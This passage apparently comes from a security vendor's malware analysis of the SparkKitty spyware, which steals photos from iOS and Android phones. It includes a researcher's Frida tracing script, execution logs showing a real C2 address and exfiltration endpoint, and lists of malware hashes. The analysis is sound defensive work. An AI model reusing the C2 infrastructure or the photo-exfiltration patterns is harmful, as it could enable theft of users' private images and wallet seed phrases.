https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-331x350.png 331w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-740x783.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-265x280.png 265w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003550/sparkkitty-ios11-800x846.png 800w" sizes="auto, (max-width: 1936px) 100vw, 1936px" /></a><p id="caption-attachment-116806" class="wp-caption-text">Infected app page on the App Store</p></div>
<p>In both the Android and iOS versions, the malicious payload was part of the app itself, not of a third-party SDK or framework. In the iOS version, the central <code>AppDelegate</code> class, which manages the app’s lifecycle, registers its selector <code>[AppDelegate requestSuccess:]</code> as a handler for responses returned by requests sent to <strong>i.bicoin[.]com[.]cn</strong>.</p>
<div id="attachment_116807" style="width: 1339px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116807" class="size-full wp-image-116807" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12.png" alt="Checking the server response and sending a photo" width="1329" height="596" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12.png 1329w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12-300x135.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12-1024x459.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12-768x344.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12-780x350.png 780w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12-740x332.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12-624x280.png 624w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23003800/sparkkitty-ios12-800x359.png 800w" sizes="auto, (max-width: 1329px) 100vw, 1329px" /></a><p id="caption-attachment-116807" class="wp-caption-text">Checking the server response and sending a photo</p></div>
<pre class="urvanov-syntax-highlighter-plain-tag">{
code = 0;
data = {
27 = (
);
50002 = (
{
appVersion = "";
cTime = 1696304011000;
id = 491;
imgSubTitle = "";
imgTitle = "\U70ed\U5f00\U5173\Uff08\U65b0\Uff09";
imgType = 50002;
imgUrl = 0;
imgUrlSub = "";
isFullScreen = 0;
isNeed = 1;
isSkip = 1;
langType = all;
operator = 0;
skipUrl = "";
sort = 10000;
source = 0;
type = 0;
uTime = <timestamp>;
}
);
};
dialog = {
cancelAndClose = 0;
cancelBtn = "";
cancelColor = "";
code = 0;
confirmBtn = "";
confirmColor = "";
content = "";
contentColor = "";
time = "";
title = OK;
titleColor = "";
type = 3;
url = "";
};</pre>
<center><strong><em>Sample server response</em></strong></center></p>
<p>In the response, the <code>imgUrl</code> field contains information about the permission to send photos (1 means granted). Once the Trojan gets the green light, it uses a similar method to what we described earlier: it downloads an encrypted set of C2 addresses and tries sending the images to one of them. By default, it’ll hit the first address on the list. If that one’s down, the malware just moves on to the next. The photo-sending functionality is implemented within the <code>KYDeviceActionManager</code> class.</p>
<div id="attachment_116808" style="width: 1482px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116808" class="size-full wp-image-116808" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13.png" alt="Retrieving and sending photos" width="1472" height="2048" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13.png 1472w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-216x300.png 216w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-736x1024.png 736w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-768x1069.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-1104x1536.png 1104w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-252x350.png 252w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-719x1000.png 719w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-201x280.png 201w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004046/sparkkitty-ios13-647x900.png 647w" sizes="auto, (max-width: 1472px) 100vw, 1472px" /></a><p id="caption-attachment-116808" class="wp-caption-text">Retrieving and sending photos</p></div>
<h2 id="suspicious-libcrypto-dylib-mod">Suspicious libcrypto.dylib mod</h2>
<p>During our investigation, we also stumbled upon samples that contained another suspicious library: a modified version of OpenSSL’s cryptographic primitives library, libcrypto.dylib. It showed up under names like <strong>wc.dylib</strong> and <strong>libswiftDarwin.dylib</strong>, had initialization functions that were obfuscated with LLVM, and contained a link to a configuration we’d seen before in other malicious frameworks. It also imported the <code>PHPhotoLibrary</code> class, used for gallery access in the files we mentioned earlier. Sometimes the library was delivered alongside the malicious <strong>AFNetworking.framework/Alamofire.framework</strong>, sometimes not.</p>
<p>Unlike other variants of this malware, this particular library didn’t actually reach out to the malicious configuration file link embedded within it. That meant we had to manually dig for the code responsible for its initial communication with the C2. Even though these library samples are heavily obfuscated, some of them, like the sample with the hash <strong>c5be3ae482d25c6537e08c888a742832</strong>, still had cross-references to the part of the code where the encrypted configuration page URL was used. This function converted a URL string into an <strong>NSString</strong> object.</p>
<div id="attachment_116809" style="width: 602px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004231/sparkkitty-ios14.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116809" class="size-full wp-image-116809" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004231/sparkkitty-ios14.png" alt="Section of obfuscated code for loading the malicious URL" width="592" height="293" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004231/sparkkitty-ios14.png 592w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004231/sparkkitty-ios14-300x148.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004231/sparkkitty-ios14-566x280.png 566w" sizes="auto, (max-width: 592px) 100vw, 592px" /></a><p id="caption-attachment-116809" class="wp-caption-text">Section of obfuscated code for loading the malicious URL</p></div>
<p>Using <strong>Frida</strong>, we can execute any piece of code as a function, but simply converting a string to an <strong>NSString</strong> object isn’t enough to confirm the library’s malicious intent. So, we followed the cross-references up several levels. When we tried to execute the function that worked with the URL during its execution, we discovered it was making a <strong>GET</strong> request to the malicious URL. However, we couldn’t get a response right away; the server the URL pointed to was already inactive. To make the function run correctly, we used Frida to substitute the link with a working one, where we knew exactly what data it returned and how it was decrypted. By setting logging hooks on the <code>objc_msgSend</code> call and running the malicious function with a swapped URL, we got the info we needed about the calls. Below is the Frida script we used to do this:</p><pre class="urvanov-syntax-highlighter-plain-tag">function traceModule(impl, name)
{
console.log("Tracing " + name, impl);
var exit_log = 0;
Interceptor.attach(impl, {
onEnter: function(args) {
var bt = Thread.backtrace(this.context, Backtracer.ACCURATE);
if (!moduleMap) {
moduleMap = new ModuleMap();
}
var modules = bt.map(x => moduleMap.find(x)).filter(x => x != null).map(x => x.name);
// we want to trace only calls originating from malware dylib
if (modules.filter(x => x.includes('wc.dylib')).length > 0) {
exit_log = 1;
console.warn("\n*** entering " + name);
if(name.includes('objc_msgSend')) {
var sel = this.context.x1.readUtf8String();
if (sel.includes("stringWithCString:")) {
var s = this.context.x2.readUtf8String();
if (s.includes('.cn-bj.ufileos.com')) {
console.log("Replacing URL: ", s);
var news = Memory.allocUtf8String('https://data-sdk2.oss-accelerate.aliyuncs.com/file/SGTMnH951121');
this.context.x2 = news;
console.log("New URL: ", this.context.x2.readUtf8String());
}
else
console.log(s);
}
}
//print backtrace
console.log(bt.map(DebugSymbol.fromAddress).join("\n"));
}
},
onLeave: function(retval) {
if (exit_log == 1) {
console.warn("\n***extiting ", name);
console.log(this.context.x0.readByteArray(64));
}
}
});
}
var malInited = false;
var malFunc;
function callMalware() {
if (!malInited) {
malFunc = new NativeFunction(base.add(0x7A77CC), 'void', []);
traceModule(base.add(0x821360), 'objc_msgSend');
malInited = true;
}
malFunc();
}
var mname = "wc.dylib";
var base = Process.enumerateModules().filter(x=>x.name.includes(mname))[0].base;
console.log('Base address: ', base);
callMalware();</pre><p>
Our suspicions were confirmed: the malicious function indeed loads and decrypts the C2 address configuration from a given URL. It then uses this C2 for sending device data, following the same pattern we described earlier and using the same AES-256 key. Below is an excerpt from the function’s execution logs.</p><pre class="urvanov-syntax-highlighter-plain-tag">*** entering objc_msgSend
### Creating NSString object with decrypted string
[ 0x20193a010 stringWithCString:"http://84.17.37.155:8081" encoding: ]
0x102781be8 wc.dylib!0x7d1be8 (0x7d1be8)
0x1027590e8 wc.dylib!0x7a90e8 (0x7a90e8)
*** entering objc_msgSend
### Creating NSString with api endpoint decrypted somewhere in code
[ 0x20193a010 stringWithCString:"%@/api/getStatus?buid=%@&appname=%@&userId=%@" encoding: ]
0x10277cc50 wc.dylib!0x7ccc50 (0x7ccc50)
0x102783264 wc.dylib!0x7d3264 (0x7d3264)
### Here sample initiates HTTP request to decrypted C2 address and decrypts its response ###
*** entering objc_msgSend
### Getting server response as data object
[ 0x2022d5078 initWithData:encoding: ]
0x10277f4a4 wc.dylib!0x7cf4a4 (0x7cf4a4)
0x1afafcac4 CFNetwork!0x1dac4 (0x180a6cac4)
*** leaving objc_msgSend
### Server response in bytes
00000000 41 e9 92 01 a2 21 00 00 8c 07 00 00 01 00 00 00 A....!..........
00000010 2e 7b 22 6d 73 67 22 3a 22 73 75 63 63 65 73 73 .{"msg":"success
00000020 22 2c 22 63 6f 64 65 22 3a 30 2c 22 75 73 22 3a ","code":0,"us":
00000030 31 2c 22 73 74 61 74 75 73 22 3a 22 30 22 7d 00 1,"status":"0"}.</pre><p>
The function execution log above clearly shows it uses an IP address from the encrypted configuration file. Device data is sent to this IP’s <strong>/api/getStatus</strong> endpoint with arguments familiar from previous samples. We also see that the server’s response contains the <code>code</code> and <code>status</code> fields we’ve encountered before. All of this strongly suggests that this library is also involved in stealing user photos. The only thing we haven’t pinpointed yet is the exact conditions under which this malicious function activates. At startup, the library contacts a C2 whose address in encrypted within it, sending device information and expecting a JSON string response from the server. At the time of this research, we hadn’t found any samples with an active C2 address, so we don’t know the precise response it’s looking for. However, we assume that response – or subsequent responses – should contain the permission to start sending photos.</p>
<h2 id="another-activity-cluster">Another activity cluster?</h2>
<p>During our research, we stumbled upon a significant number of pages offering for download various scam iOS apps in the PWA (progressive web app) format. At first glance, these pages seemed unrelated to the campaign we describe in this article. However, their code bore a striking resemblance to the pages distributing the malicious TikTok version, which prompted us to investigate how users were landing on them. While digging into the traffic sources, we uncovered ads for various scams and Ponzi schemes on popular platforms.</p>
<div id="attachment_116810" style="width: 877px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116810" class="size-full wp-image-116810" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15.png" alt="Scam platform account on YouTube" width="867" height="450" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15.png 867w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15-300x156.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15-768x399.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15-674x350.png 674w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15-740x384.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15-539x280.png 539w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004616/sparkkitty-ios15-800x415.png 800w" sizes="auto, (max-width: 867px) 100vw, 867px" /></a><p id="caption-attachment-116810" class="wp-caption-text">Scam platform account on YouTube</p></div>
<p>Some of these PWA-containing pages also included a section prompting users to download a mobile app. For Android users, the link downloaded an APK file that opened the scam platform via WebView.</p>
<div id="attachment_116811" style="width: 1253px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116811" class="size-full wp-image-116811" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16.png" alt="App download links" width="1243" height="993" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16.png 1243w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-300x240.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-1024x818.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-768x614.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-500x400.png 500w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-438x350.png 438w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-740x591.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-350x280.png 350w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23004847/sparkkitty-ios16-800x639.png 800w" sizes="auto, (max-width: 1243px) 100vw, 1243px" /></a><p id="caption-attachment-116811" class="wp-caption-text">App download links</p></div>
<p>Beyond just opening scam websites in WebView, these downloaded APKs had another function. The apps requested access to read storage. Once this was granted, they used the Loader API to register their content download event handler. This handler then selected all JPEG and PNG images. The images were processed using the Google ML Kit library designed for optical character recognition. ML Kit searched for <a href="https://developers.google.com/android/reference/com/google/mlkit/vision/text/Text.TextBlock" target="_blank" rel="noopener">text blocks</a> and then broke them down into lines. If at least three lines containing a word with a minimum of three letters were found, the Trojan would send the image to the attackers’ server – its address was retrieved from Amazon AWS storage.</p>
<div id="attachment_116812" style="width: 999px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116812" class="size-full wp-image-116812" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17.png" alt="Code snippet for photo uploads" width="989" height="788" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17.png 989w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17-300x239.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17-768x612.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17-439x350.png 439w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17-740x590.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17-351x280.png 351w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23005056/sparkkitty-ios17-800x637.png 800w" sizes="auto, (max-width: 989px) 100vw, 989px" /></a><p id="caption-attachment-116812" class="wp-caption-text">Code snippet for photo uploads</p></div>
<p>We’re moderately confident that this activity cluster is connected to the one described above. Here’s why:</p>
<ol>
<li>The malicious apps also focus on cryptocurrency themes.</li>
<li>Similar tactics are employed: the C2 address is also hosted in cloud storage, and gallery content is exfiltrated.</li>
<li>The pages distributing iOS PWAs look similar to those used to download malicious TikTok mods.</li>
</ol>
<p>Given this connection between the two activity clusters, we suspect the creators of the apps mentioned earlier might also be spreading them through social media ads.</p>
<h2 id="campaign-goals-and-targets">Campaign goals and targets</h2>
<p>Unlike SparkCat, the spyware we analyzed above doesn’t show direct signs of the attackers being interested in victims’ crypto assets. However, we still believe they’re stealing photos with that exact goal in mind. The following details lead us to these conclusions:</p>
<ol>
<li>A crypto-only store was embedded within the TikTok app alongside the spyware.</li>
<li>Among the apps where the spyware was found, several were crypto-themed. For instance, 币coin in the App Store positions itself as a crypto information tracker, and the SOEX messaging app has various crypto-related features as well.</li>
<li>The main source for distributing the spyware is a network of cookie-cutter app download platforms. During our investigation, we found a significant number of domains that distributed both the described Trojan and <a href="https://en.wikipedia.org/wiki/Progressive_web_app" target="_blank" rel="noopener">PWAs (progressive web apps)</a>. Users were directed to these PWAs from various cryptocurrency scam and Ponzi scheme sites.</li>
</ol>
<p>Our data suggests that the attackers primarily targeted users in Southeast Asia and China. Most of the infected apps we discovered were various Chinese gambling games, TikTok, and adult games. All these apps were originally aimed specifically at users in the regions mentioned above.<br />
Furthermore, we believe this malware is linked to the SparkCat campaign, and here’s our reasoning:</p>
<ul>
<li>Some Android apps infected with SparkKitty were built with the same framework as the apps infected with SparkCat.</li>
<li>In both campaigns, we found the same infected Android apps.</li>
<li>Within the malicious iOS frameworks, we found debug symbols. They included file paths from the attackers’ systems, which pointed to where their projects were being built. These paths match what we previously observed in SparkCat.</li>
</ul>
<h2 id="takeaways">Takeaways</h2>
<p>Threat actors are still actively compromising official app stores, and not just for Android – iOS is also a target. The espionage campaign we uncovered uses various distribution methods: it spreads through apps infected with malicious frameworks/SDKs from unofficial sources, as well as through malicious apps directly on the App Store and Google Play. While not technically or conceptually complex, this campaign has been ongoing since at least the beginning of 2024 and poses a significant threat to users. Unlike the previously discovered SparkCat spyware, this malware isn’t picky about which photos it steals from the gallery. Although we suspect the attackers’ main goal is to find screenshots of crypto wallet seed phrases, other sensitive data could also be present in the stolen images.</p>
<p>Judging by the distribution sources, this spyware primarily targets users in Southeast Asia and China. However, it doesn’t have any technical limitations that would prevent it from attacking users in other regions.</p>
<p>Our security products return the following verdicts when detecting malware associated with this campaign:</p>
<ul>
<li>HEUR:Trojan-Spy.AndroidOS.SparkKitty.*</li>
<li>HEUR:Trojan-Spy.IphoneOS.SparkKitty.*</li>
</ul>
<h2 id="indicators-of-compromise">Indicators of compromise</h2>
<h3 id="infected-android-apps">Infected Android apps</h3>
<p><a href="https://opentip.kaspersky.com/b4489cb4fac743246f29abf7f605dd15/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______8a07819f134a140f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">b4489cb4fac743246f29abf7f605dd15</a><br />
<a href="https://opentip.kaspersky.com/e8b60bf5af2d5cc5c501b87d04b8a6c2/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______97a60829f3003c98&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">e8b60bf5af2d5cc5c501b87d04b8a6c2</a><br />
<a href="https://opentip.kaspersky.com/aa5ce6fed4f9d888cbf8d6d8d0cda07f/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______86e257b3ff5cb4d3&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">aa5ce6fed4f9d888cbf8d6d8d0cda07f</a><br />
<a href="https://opentip.kaspersky.com/3734e845657c37ee849618e2b4476bf4/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4c43193aa1426adc&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">3734e845657c37ee849618e2b4476bf4</a><br />
<a href="https://opentip.kaspersky.com/fa0e99bac48bc60aa0ae82bc0fd1698d/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______3bf106331906e5ff&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">fa0e99bac48bc60aa0ae82bc0fd1698d</a><br />
<a href="https://opentip.kaspersky.com/e9f7d9bc988e7569f999f0028b359720/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______31ffc05fe19b65f6&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">e9f7d9bc988e7569f999f0028b359720</a><br />
<a href="https://opentip.kaspersky.com/a44cbed18dc5d7fff11406cc403224b9/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______719aa450549bac89&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">a44cbed18dc5d7fff11406cc403224b9</a><br />
<a href="https://opentip.kaspersky.com/2dc565c067e60a1a9656b9a5765db11d/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______187e82e8228ecd99&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2dc565c067e60a1a9656b9a5765db11d</a><br />
<a href="https://opentip.kaspersky.com/66434dd4402dfe7dda81f834c4b70a82/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______bb67a7ebf9bb05b1&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">66434dd4402dfe7dda81f834c4b70a82</a><br />
<a href="https://opentip.kaspersky.com/d851b19b5b587f202795e10b72ced6e1/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1aca3f74a34b84ed&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">d851b19b5b587f202795e10b72ced6e1</a><br />
<a href="https://opentip.kaspersky.com/ce49a90c0a098e8737e266471d323626/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b6904a0bd5e02f62&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">ce49a90c0a098e8737e266471d323626</a><br />
<a href="https://opentip.kaspersky.com/cc919d4bbd3fb2098d1aeb516f356cca/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______df77107ae4076902&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">cc919d4bbd3fb2098d1aeb516f356cca</a><br />
<a href="https://opentip.kaspersky.com/530a5aa62fdcca7a8b4f60048450da70/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a0b13fd456d85558&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">530a5aa62fdcca7a8b4f60048450da70</a><br />
<a href="https://opentip.kaspersky.com/0993bae47c6fb3e885f34cb9316717a3/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______49b9e36edcb430af&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">0993bae47c6fb3e885f34cb9316717a3</a><br />
<a href="https://opentip.kaspersky.com/5e15b25f07020a5314f0068b474fff3d/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______497f04e4ed204344&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">5e15b25f07020a5314f0068b474fff3d</a><br />
<a href="https://opentip.kaspersky.com/1346f987f6aa1db5e6deb59af8e5744a/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______963ce0abef88e694&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">1346f987f6aa1db5e6deb59af8e5744a</a></p>
<h3 id="infected-ios-apps">Infected iOS apps</h3>
<p><a href="https://opentip.kaspersky.com/21ef7a14fee3f64576f5780a637c57d1/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______72b707efee353f6e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">21ef7a14fee3f64576f5780a637c57d1</a><br />
<a href="https://opentip.kaspersky.com/6d39cd8421591fbb0cc2a0bce4d0357d/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______932c1d75719d1dc4&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">6d39cd8421591fbb0cc2a0bce4d0357d</a><br />
<a href="https://opentip.kaspersky.com/c6a7568134622007de026d22257502d5/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______f808c83a58b2dd32&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">c6a7568134622007de026d22257502d5</a><br />
<a href="https://opentip.kaspersky.com/307a64e335065c00c19e94c1f0a896f2/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______7b9b2de644226ee2&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">307a64e335065c00c19e94c1f0a896f2</a><br />
<a href="https://opentip.kaspersky.com/fe0868c4f40cbb42eb58af121570e64d/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______04ad60f37ac2f017&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">fe0868c4f40cbb42eb58af121570e64d</a><br />
<a href="https://opentip.kaspersky.com/f9ab4769b63a571107f2709b5b14e2bc/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______7e694331af23edf1&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">f9ab4769b63a571107f2709b5b14e2bc</a><br />
<a href="https://opentip.kaspersky.com/2b43b8c757c872a19a30dcdcff45e4d8/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______78ac6594b83a7cdc&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2b43b8c757c872a19a30dcdcff45e4d8</a><br />
<a href="https://opentip.kaspersky.com/0aa1f8f36980f3dfe8884f1c6f5d6ddc/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______234d7d0fa0eb5d2c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">0aa1f8f36980f3dfe8884f1c6f5d6ddc</a><br />
<a href="https://opentip.kaspersky.com/a4cca2431aa35bb68581a4e848804598/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______dd14c69a1626175b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">a4cca2431aa35bb68581a4e848804598</a><br />
<a href="https://opentip.kaspersky.com/e5186be781f870377b6542b3cecfb622/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______689db3b02fa079fd&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">e5186be781f870377b6542b3cecfb622</a><br />
<a href="https://opentip.kaspersky.com/2d2b25279ef9365420acec120b98b3b4/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______5583c27e6bbf4eb6&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2d2b25279ef9365420acec120b98b3b4</a><br />
<a href="https://opentip.kaspersky.com/149785056bf16a9c6964c0ea4217b42b/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______8097d831d14a7ee5&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">149785056bf16a9c6964c0ea4217b42b</a><br />
<a href="https://opentip.kaspersky.com/931399987a261df91b21856940479634/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______09dae22d883f2af7&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">931399987a261df91b21856940479634</a></p>
<h3 id="malicious-ios-frameworks">Malicious iOS frameworks</h3>
<p><a href="https://opentip.kaspersky.com/8c9a93e829cba8c4607a7265e6988646/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e45cc5988885d936&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">8c9a93e829cba8c4607a7265e6988646</a><br />
<a href="https://opentip.kaspersky.com/b3085cd623b57fd6561e964d6fd73413/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______83f1044c06f6f1ac&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">b3085cd623b57fd6561e964d6fd73413</a><br />
